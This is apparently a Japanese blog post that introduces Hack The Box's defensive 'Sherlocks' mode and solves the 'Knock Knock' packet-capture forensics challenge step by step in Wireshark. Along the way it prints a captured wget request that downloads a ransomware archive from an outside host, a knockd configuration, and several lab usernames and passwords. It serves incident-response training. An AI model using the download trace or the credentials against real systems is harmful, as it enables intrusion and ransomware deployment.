はまやんはまやんはまやん

hamayanhamayan's blog

Hack The Box Sherlocks の勧め / Knock Knock Writeup

この記事はCTF Advent Calendar 2023の10日目の記事です。
所謂CTFの話ではないのですが、近からずも遠からずということで、Hack The Boxの新しいゲームモードについて入門記事を書きます。

初めに

今年はHack The Boxが最近出した新しいゲーム "Sherlocks" の話をします。
ログ調査は非常に楽しく、本当はこれを書かないといけなかったのですが、時間を吸われてしまいました…
これについては書けたら来年の1月とか2月に出します…
Sherlocksやりすぎて全完したので、先達者面してもいいだろうということで今年はこのテーマで書いていきます。

Hack The Box Sherlocksとは

Hack The Boxとは、サイバーセキュリティの知識を生かして問題を解いていくネットゲームサイトです。
ゲームモードが複数用意されています。

  • Challenges: CTFのように各分野に対して問題を解いていくようなスタイルの問題。CTFerの皆さんも非常に楽しく遊べると思います。
  • Machines: Hack The Boxの目玉とも言えるモードで、ここでは世間一般に想像されているハッキングの技能を競うような問題、つまり、Boot2Root形式の問題が出題されます。攻撃者として要求される技能を使ったゲームなので、攻撃者側を想定するような役職、つまり、ペンテスターやレッドチームを対象としたゲームモードとなっています。

そして、2023年11月某日、Hack The Boxは新しいゲームモード Sherlocksをリリースしました。
Sherlocks は防御側の役職、ブルーチームを対象としたゲームモードとなっています。
つまり、端末に残っているログやファイルを解析して、攻撃者の行動を暴いていくことが目的です。
試しに問題を1つ開いてみましょう。
https://app.hackthebox.com/sherlocks/Meerkat

このように一連の事件に対して与えられた対象を解析して問いに答えていきます。
問題を開いたら、まずは解析対象となるファイルをダウンロードしましょう。この問題だとmeerkat.zipですね。
右にある下矢印のアイコンをクリックするとダウンロードできます。
与えられるファイルはパスワードがかかっているので、鍵のアイコンをクリックすると解凍用のパスワードを取得できます。
パスワードをつけておかないとWindows Defenderとかに消されて面倒な場合があるんだと思います。

ダウンロードには時間がかかる場合もあるので、その間にSherlock Scenarioを読みましょう。ここに書いてある情報が解くのに不可欠な場合があります。
どういう方向性の解析が要求されているかというのも、特に解析の序盤で役に立ちます。

その後ろにTaskという形で設問が用意されています。
Sherlocksでは他のゲームモードと違い設問に答えていく形になります。
設問があるので、何も分からない状態から何かを探すという感じではなく、この設問で聞かれていることを見ればある程度の方向性を理解することができます。
この仕組みのおかげで攻略の難易度が下がってしまっているのですが、自由回答を採点するのも難しそうなのでしょうがない所なのでしょう。
しかも、一部の問題では、答えの文字数や一部の文字が分かっているものがあり、このおかげである程度のguessが可能になっています。
これも解釈によってはどっちも正答になりそうな所があるので、答えを一意にするためにしているのだと思います。多分。

Sherlocksに対してどのように取り組んでいくかを実例を使って紹介していこうと思います。
既にRetired済みのKnock Knockという問題を題材とします。

Knock Knock Writeup

https://app.hackthebox.com/sherlocks/Knock%20Knock

さて、既にRetiredしているMediumレベルの問題「Knock Knock」の解説をしながら解き方のイメージを見ていきましょう。
汎用的に使えそうな考え方やテクニックについては赤字で強調しているので参考にしてください。
実際には多数の可能性を確認しているので、ここまでシンプルではないのですが、ここでは正答に至る最短経路で書いていきます。
問題ではknockknock.zipというファイルが与えられ、中にはパケットキャプチャのCapture.pcapが入っています。

問題に取り組む前にどういう情報が残っているかを確認していきましょう。
アーティファクト(ログとか)毎にどういう情報が入っていてどう確認するかはまちまちですが、
pcapファイルのデータを把握するには「統計」メニューにある情報を見ていくのがいいです。

「統計」の「キャプチャファイルプロパティ」

パケット数は293921なので、普通に眺めるには量が多すぎます。適切にフィルタリングしながら見ていく必要があります。
パケットには時間がくっついているので時間も考慮しながらログを見ていくことも重要です。

「統計」の「プロトコル階層」

大量のパケット数が1桁のプロトコルが記録されていますね。
ポートスキャンが行われていそう。
今回は、他にはあまりいい感じの情報は得られそうにないので次に行きます。

「統計」の「終端」のIPv4

通信で使われているIPアドレスを集計してくれます。
パケットキャプチャはどうとられているかわかりませんが、とある端末向けに集計していると予想されるので、一番多く記録されているIPアドレスは自分のもののはずです。
つまり、被害者のIPアドレス172.31.39.46と仮定できます。
そしてC2サーバと通信していると想定すると、それなりの通信がC2サーバと行われていそうなので、2番目に多いIPアドレス3.109.209.43が攻撃者のIPアドレスであると仮定できます。
まだ、この時点では「仮定」でとどまりますが、実際にこの仮定を元に情報を集めていくと正しかったことが分かります

この問題の最初の確認はこれくらいですね。
情報の糸口を探すことができてくると、次に見るべきログが分かったり、時間でうまく絞ったり、
キーワードでgrepしたりして深堀調査を効率的にできるようになっていきますが、
最初の漠然と探す段階ではこのように仮定や既知の情報をうまく活用して探していくことになります。
経験値の違いが出てきそうですが、運よく見つかるみたいなこともよくあるので、根気良く探していきましょう。
では問題に移っていきます。

Task 1

Which ports did the attacker find open during their enumeration phase?
攻撃者は列挙フェーズ中にどのポートが開いていることを発見しましたか?

攻撃者のIPアドレス3.109.209.43と仮定していたので、まずはこのIPアドレスでフィルタリングしましょう。
ip.addr == 3.109.209.43でフィルタリングします。
ログデータをそのまま読んでいくのは大変なので、適当な情報を使ってフィルタリングしながら情報を確認していくことになります。
IPアドレスは攻撃者側をattacker, 被害者側をvictimと変換しています。
このように分かりやすいマッピング情報がある場合はそれも記録したり、置換しておくと理解がスムーズになります。

このように一見訳の分からない通信が見えますが、よく見てみると、victim:1, victim:2, ... と順番に確認していることが分かります。
攻撃者が1/tcpから順番に通信ができるかどうか通信を飛ばしてみています。
このようにポートに対して通信を投げて使われているかどうかを試す手法をポートスキャンといい、問題文にもあるenumeration phaseで使用されます。
赤い項目についてはvictim -> attackerでResetフラグが1の応答が帰ってきていて、ポートが空いてないならばこういう感じに見えます。

ポートが空いているかどうかは応答を見れば分かるので、応答に絞ってみてみましょう。
ip.dst == 3.109.209.43でフィルタリングしてみる。

良い感じに見えてきました。
赤い物は空いてないということなので、赤い物も削除してみましょう。
ip.dst == 3.109.209.43 && tcp.flags.reset != 1でフィルタリングしてみる。

良い感じで見えましたね。21,22,3306,6379,8086が答え。

Task 2

Whats the UTC time when attacker started their attack against the server?
攻撃者がサーバーに対して攻撃を開始したときの UTC 時間は何ですか?

Task 1の結果から3.109.209.43が攻撃者のIPアドレスであることはほとんど確定したので、ip.addr == 3.109.209.43
フィルタリングして最初のものの日時を答えればよいです。
21/03/2023 10:42:23

UTC時間についても軽く説明しておきます。
協定世界時 - Wikipedia
UTCは世界的に定められた基準時刻であり、この時間を基準にして各国のタイムゾーンを表現することができます。
日本時間JSTUTC+9なので、UTCの時刻に+9時間すれば日本のローカル時間になります。

ログには時刻が含まれる場合がありますが、世界には様々なタイムゾーンがあるので時刻だけを提示された場合にどのタイムゾーンでの話かが分からなくなります。
事実、とある場所ではUTCで時刻が表現されていますが、とある場所ではlocaltimeで時刻が表現されていたりします。
localtimeもツールによってログを見ている環境のlocaltimeで変換されているだけなのか、もしくはログを取得した環境のlocaltimeに依存するのかというのもあります。

その辺を考慮するのも面倒なのでSherlocksではUTC時間で答えることを要求しているんでしょうね。

日本語環境でWiresharkの時刻を見るとこのように「東京(標準時)」と出てきます。
つまり、東京のローカルタイムでの表示、つまり、JSTでの表示、つまり、UTC+9での表示になっています。
よってUTC時刻で答える場合は9時間前の時刻を答える必要があり、21/03/2023 10:42:23が答えになります。

(時刻を答えるときはRFC 3339にして欲しい…MM/DD/YYYYとDD/MM/YYYYで迷いたくない…)

Task 3

What's the MITRE Technique ID of the technique attacker used to get initial access?
攻撃者が初期アクセスを取得するために使用した手法の MITRE 手法 ID は何ですか?

ip.addr == 3.109.209.43でフィルタリングしてポートスキャン後を眺めると、21/tcpに対して色々通信をしている。
とりあえず、目grepをして何か気になることが無いか探してみよう。目grepオススメ。

眺めると、色々なユーザーに対して色々なパスワードを試していることがわかる。
ip.addr == 3.109.209.43 && ftpでフィルタリングして眺めると分かりやすい。
ログインブルートフォースをしていますね。

答えるべきは、MITRE Technique IDなので、MITRE ATT&CKで該当するものを探してみましょう。
MITRE ATT&CKとはMITREという米国組織が公開している攻撃の手法まとめです。
サイバー攻撃に関する手法を体系的にまとめていて、こういったレポートを作成する際には共通言語として引用することができます。
ログインブルートフォースと言えば伝わる気もしますが、プロフェッショナルとして、MITRE ATT&CKにマッピングして解答することにしましょう。
MITRE ATT&CK®を眺めてそれっぽい所を探します。
問題文にもinitial accessとありますし、攻撃の初期段階だから…と言って左側ばかり見ていると見つからず、
Credential AccessのBrute forceのPassword Sprayingが答えになります。
Brute Force: Password Spraying, Sub-technique T1110.003 - Enterprise | MITRE ATT&CK®
このテクニックの番号T1110.003が答え。

Task 4

What are valid set of credentials used to get initial foothold?
最初の足がかりを得るために使用される有効な認証情報のセットは何ですか?

ip.addr == 3.109.209.43 && ftpの結果が673件しかないので、とりあえず目grepしていきます。
上から見ていっても失敗ばかりなので、下からさかのぼってみていくと早めに見つかります。
No.209192でLogin successful応答が確認できます。
「このパケットを右クリック > 追跡 > TCPストリーム」でTCPストリームとして確認でき、これを見るとその時使われた認証情報が得られます。

tony.shephard:Summer2023!

Task 5

What is the Malicious IP address utilized by the attacker for initial access?
攻撃者が初期アクセスに使用する悪意のある IP アドレスは何ですか?

さっきから使っている3.109.209.43が答え。
ここに回答欄が来ている理由は正確には分かりませんが、3.109.209.43が悪意あるIPアドレスのように見えますが、2番目に通信が多い先だと理由として弱く、
ポートスキャンとパスワードスプレーから確信した。みたいな流れかもしれません。

Task 6

What is name of the file which contained some config data and credentials?
構成データと認証情報が含まれているファイルの名前は何ですか?

Task 4で表示したTCPストリームを見ると、色々している。

入った後はls -laをして.backupfetch.shファイルを取得していました。
WiresharkFTPでやり取りされているファイルを持ってくるには、「ファイル > オブジェクトをエクスポート > FTP-DATA」でファイルが取れるので便利。
取れたデータの中身を確認すると、どちらもsome config data and credentialsを含んでいそうでしたが、回答部分のプレースホルダを見ると.*****pだったので、.backupが答え。

Task 7

Which port was the critical service running?
重要なサービスはどのポートで実行されていましたか?

Task 6で抽出した.backupfetch.shを見ると、.backupでは24456/tcpの情報で、fetch.shmysql (3306/tcp)の情報でした。
回答部分のプレースホルダを見ると、****6だったので24456が答え。

…流石に、Task 6とTask 7は雑に回答しすぎているので一応間違いだった、fetch.shに書かれている3306/tcpの通信も見ておきましょうか。
ip.addr == 3.109.209.43 && tcp.port == 3306

通信が全然記録されていないですね。
No. 83172を見ると接続に失敗しているようです。
このように与えられているデータには不要なデータも多く存在します。
実際には無関係であるかを確かめるために確認する必要もあるが、Sherlocksを効率的に解くという観点では優先順位をつけて確認していくのがいいです。
ただ、ここからが注意で、無関係のように見えて有用なデータが残っている場合もあるので、雑にフィルタリングして確認から外してしまわないこと。

Task 8

Whats the name of technique used to get to that critical service?
その重要なサービスにアクセスするために使用されるテクニックの名前は何ですか?

答えのテクニックを知らない場合は難易度高めな問題。まずは、.backupの中身を見てみましょう。

[options]
    UseSyslog

[FTP-INTERNAL]
    sequence    = 29999,50234,45087
    seq_timeout = 5
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 24456 -j ACCEPT
    tcpflags    = syn


# Creds for the other backup server abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad

これをパッと見てknockd.confの設定ファイルであると判断できれば知識で問題を殴ることができています。
問題文がKnock Knockでネットワークキャプチャが与えられていたので、ポートノッキングがどこかで出てくるんだろうと思っていましたが、ここでしたね。
とりあえず、ポートノッキングを知らなかったとした場合にどうやって答えまでたどり着くか書いてみます。

このファイルが何のためのファイルであるかを突き止める必要があります。
未知のファイルを見つけた場合は含まれるキーワードを元に検索して出元を特定していきましょう。
今回はsequence seq_timeout command tcpflagsと検索するといい感じに出てきました。

良いですね。出てきたサイトを見ていくと、このファイルがknockdの設定ファイル/etc/knockd.confであることが分かります。
knockdというのはポートノッキングに使用されるデーモンです。
そして、ポートノッキングというのは、とあるポートに接続する前に事前に決めておいたいくつかのポートに接続をしてからつなぎに行くことで接続できるようにする手法です。
なので、今回の設定ファイルで言うと、24456/tcpFTPが動いていますが初手つなぎに行っても接続することはできず、
29999/tcp, 50234/tcp, 45087/tcpに接続をしてから24456/tcpに接続すると繋がるようになります。

よって答えはPort Knocking

Task 9

Which ports were required to interact with to reach the critical service?
重要なサービスにアクセスするためにどのポートと通信する必要がありましたか?

Task 8でもう特定していますね。昇順での回答が求められているので昇順ソートして29999,45087,50234が答え。

Task 10

Whats the UTC time when interaction with previous question ports ended?
以前の質問ポートとのやり取りが終了した UTC 時間は何ですか?

Task 8で手法を質問しているので変な感じの聞き方になっている気がしますがinteraction with previous question portsとはポートノッキングのことですね。
つまり、ポートノッキングのやり取りが終了したUTC時間を聞かれています。
45087/tcpがポートノッキングの最後の通信先なので、これを探していきます。
tcp.port == 45087でフィルタリングした最後の記録の時間が答え。
21/03/2023 10:58:50

Task 11

What are set of valid credentials for the critical service?
重要なサービスの有効な資格情報のセットとは何ですか?

.backupの末尾にコメントで何故か認証情報が置いてあるのでそれを答えると正解できます。
abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad

Task 12

At what UTC Time attacker got access to the critical server?
攻撃者が重要なサーバーにアクセスしたのは、UTC 時間何時ですか?

24456/tcpが重要サーバであることが判明しているのでtcp.port == 24456でフィルタリングしてみて目grepしていきましょう。
FTPサーバであることが分かっているので「編集 > 設定 > Protocols > FTP」でポートを21,24456のように編集して再度読み込ませてみるといい感じに見れます。
No.210799のFTPログインが成功した時間を答えると正答でした。
21/03/2023 11:00:01

ここではすんなり正答していますが、実際解いていたときは「重要なサーバーにアクセスした」時刻をどのタイミングと判断するかが異なっていたのか何回か間違えました。
実際に正解してみると、こういう理由付けでこのタイミングで答えているんだなと理解できる場合が大半なので、なるべく理由付けができる時刻を答えていくといいと思います。

Task 13

Whats the AWS AccountID and Password for the developer "Abdullah"?
開発者「Abdullah」の AWS アカウント ID とパスワードは何ですか?

先ほど同様に「ファイル > オブジェクトをエクスポート > FTP-DATA」でファイルを取って来ましょう。
FTPのポートを増やしたので取れるファイルが増えています。
ファイルを取ってきて、Abdullahでキーワード検索すると.archived.sqlに情報が書いてあります。

INSERT INTO AWS_EC2_DEV VALUES ('Alonzo','341624703104',''),(NULL,NULL,'d;089gjbj]jhTVLXEROP.madsfg'),('Abdullah','391629733297','yiobkod0986Y[adij@IKBDS');

これが正解。391629733297:yiobkod0986Y[adij@IKBDS
このようにファイルを全部取ってきて一気にgrepすることで効率的に情報を抜いてくることができます。
このようなキーワード検索はかなり便利なので積極的に使っていきましょう。

Task 14

Whats the deadline for hiring developers for forela?
forela の開発者を雇用する期限はいつまでですか?

与えられたファイルを漁っていきます。
Tasks to get Done.docxを解析していくと、埋め込まれたxlsxファイルを見つけることができます。
docxファイルはzipファイルとして解凍可能なので、解答してみると、word/embeddings/Microsoft_Excel_Worksheet.xlsxというのを見つけることができます。
このようにSherlocksの問題中にファイル解析といったCTFのForensicsで要求されるような分野もよく出てきます。
xlsxファイルを開いて巡回すると30/08/2023が正解と分かる。

Task 15

When did CEO of forela was scheduled to arrive in pakistan?
forela の CEO はいつパキスタンに到着する予定でしたか?

与えられたファイルを漁るとreminder.txtに書いてありました。
08/03/2023

Task 16

The attacker was able to perform directory traversel and escape the chroot jail.This caused attacker to roam around the filesystem just like a normal user would. Whats the username of an account other than root having /bin/bash set as default shell?
攻撃者はディレクトリ トラバーセルを実行して chroot 刑務所から脱出することができました。これにより、攻撃者は通常のユーザーと同じようにファイル システム内を歩き回ることになりました。/bin/bash がデフォルトのシェルとして設定されている root 以外のアカウントのユーザー名は何ですか?

与えられたファイルを漁ると/etc/passwdに書いてありました。

cyberjunkie:x:1003:1003:,,,:/home/cyberjunkie:/bin/bash

ユーザー名は/etc/passwdを見れば分かるというのはLinuxの知識があれば推測することができます。
このようにOSやアプリケーション特有の知識を持っていると探索する場所が分かり、効率的に情報を探すことができます。 cyberjunkieが答え。

Task 17

Whats the full path of the file which lead to ssh access of the server by attacker?
攻撃者によるサーバーへの SSH アクセスにつながるファイルのフルパスは何ですか?

.reminderというファイルがあり、これがthe file which lead to ssh access of the serverなのですが、FTP通信をちゃんと確認しないとフルパスを答えることはできません。
tcp.port == 24456でフィルターをかけると出てくる通信のTCPストリームのうち、attacker -> victimの通信を見てみましょう。

SIZE .reminderをする前のディレクトリ移動を見るとCWD optをしてからCWD remindersをしています。
他のコマンドの応答をちゃんと見れば確実ですが、/***/*********/.*******rというプレースホルダなので/opt/reminders/.reminderが正解。

Task 18

Whats the SSH password which attacker used to access the server and get full access?
攻撃者がサーバーにアクセスしてフルアクセスを取得するために使用した SSH パスワードは何ですか?

.reminderの中身を見てみましょう。

A reminder to clean up the github repo. Some sensitive data could have been leaked from there

githubのレポジトリで情報漏洩が起きているようです。
Forelaというのが企業名のようなのでこれでgithubを検索してみます。
色々巡回して、見つかったレポジトリのコミットログを探していくと、以下のコミットログでパスワードが見つかる。

https://github.com/forela-finance/forela-dev/commit/ab04702b3269f016def0521a734380fb12596994

このコミットログで以下のように認証情報が消されているので、ここからSSHパスワードが分かります。

ssh_password: YHUIhnollouhdnoamjndlyvbl398782bapd

どの問題でも結構ストーリーを持たせてあります。
なので、文章はなるべく見るようにして、なるべく素直に考えるようにするのがオススメです。
YHUIhnollouhdnoamjndlyvbl398782bapdが正答。

Task 19

Whats the full url from where attacker downloaded ransomware?
攻撃者がランサムウェアをダウンロードした場所の完全な URL は何ですか?

問題の流れからすると、FTPから情報を抜いた後はSSHパスワードを見つけて、SSH通信を開始するはずです。
FTPの最後のパケット番号以降のパケットで、攻撃者のIPアドレスが使われているものを抜いてきましょう。
frame.number > 212021 && ip.addr == 3.109.209.43
すると想像通り22/tcpSSH通信されていることが分かります。

SSH通信の中身は分かりませんが、SSH通信の期間は分かります。
パケット番号はNo.212579からNo.262571の間です。
frame.number > 212579 && frame.number < 262571でフィルタリングして何か面白い通信が無いか見てみましょう。
49991件あるので目grepには厳しいです。
このフィルタリング状態でプロトコル階層統計を見てみましょう。

設問はダウンロードしたURLを答える問題なので、HTTP通信が記録されていることに気が付きます。
フィルタリング条件にhttpを足してみましょう。frame.number > 212579 && frame.number < 262571 && http
No.213543のパケットがヒットします。
HTTPストリームを見てみましょう。

GET /PKCampaign/Targets/Forela/Ransomware2_server.zip HTTP/1.1
Host: 13.233.179.35
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

これがまさに欲しかった情報ですね。
この情報からURLを復元するとhttp://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_server.zipとなり、正答です。

Task 20

Whats the tool/util name and version which attacker used to download ransomware?
攻撃者がランサムウェアをダウンロードするために使用したツール/ユーティリティの名前とバージョンは何ですか?

Task 19のリクエストのHTTP HeaderUser-Agent: Wget/1.21.2を見れば分かります。
Wget/1.21.2が答えですね。
攻撃者はwgetを使って、このファイルをダウンロードしてきた可能性があります。

Task 21

Whats the ransomware name?
ランサムウェアの名前は何ですか?

Task 19,20で問われているRansomware2_server.zipはパケットキャプチャに含まれているので、
「ファイル > オブジェクトをエクスポート > HTTP」で落としてきます。
解凍してbuild.pyを見るとGonnaCryというキーワードがあり、WannaCry感があったのでこれを答えると正答でした。

Appendix: タイムライン

Knock Knockですが、タイムラインで書くと以下のような流れになっていました。
今回はあまり使っていないですが時間が判明したら時間を検索条件として入れて検索していくとより効率良く行動を発見することができます。

2023-03-20T23:37:35Z | パケット取得開始
2023-03-21T10:42:23Z | 3.109.209.43からポートスキャン開始
2023-03-21T10:42:26Z | 3.109.209.43からポートスキャン終了
2023-03-21T10:49:92Z | 3.109.209.43から21/tcpのFTPサーバに対しパスワードスプレー開始
2023-03-21T10:51:04Z | 3.109.209.43から21/tcpのFTPサーバにtony.shephardでログイン成功
2023-03-21T10:55:20Z | 3.109.209.43から21/tcpのFTPサーバにtony.shephardで接続終了
2023-03-21T10:58:50Z | 3.109.209.43から24456/tcpのFTPサーバにabdullah.yasinでログイン成功
2023-03-21T11:10:21Z | 3.109.209.43から24456/tcpのFTPサーバにabdullah.yasinで接続終了
???????????????????? | https://github.com/forela-finance/forela-dev/commit/ab04702b3269f016def0521a734380fb12596994 からSSHの認証情報を取得
2023-03-21T11:25:42Z | 3.109.209.43から22/tcpのSSHサーバに接続
2023-03-21T11:42:34Z | wgetコマンドでhttp://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_server.zipをダウンロード
2023-03-21T11:49:17Z | 3.109.209.43から22/tcpのSSHサーバに接続
2023-03-22T02:17:48Z | パケット取得終了

終わりに

今年はSherlocksの紹介と解く流れについて解説を書きました。
難しい問題だとマルウェア解析も必要になる問題もありますが、マルウェア解析力についてはまだ本格的に要求されていないような気がします。
最近色んなイベントに出て各所にてリバエンの圧を感じているので、来年はreversingを頑張りたいと思います。
今年も界隈の皆さんにはお世話になりました。
また来年よろしくお願いいたします。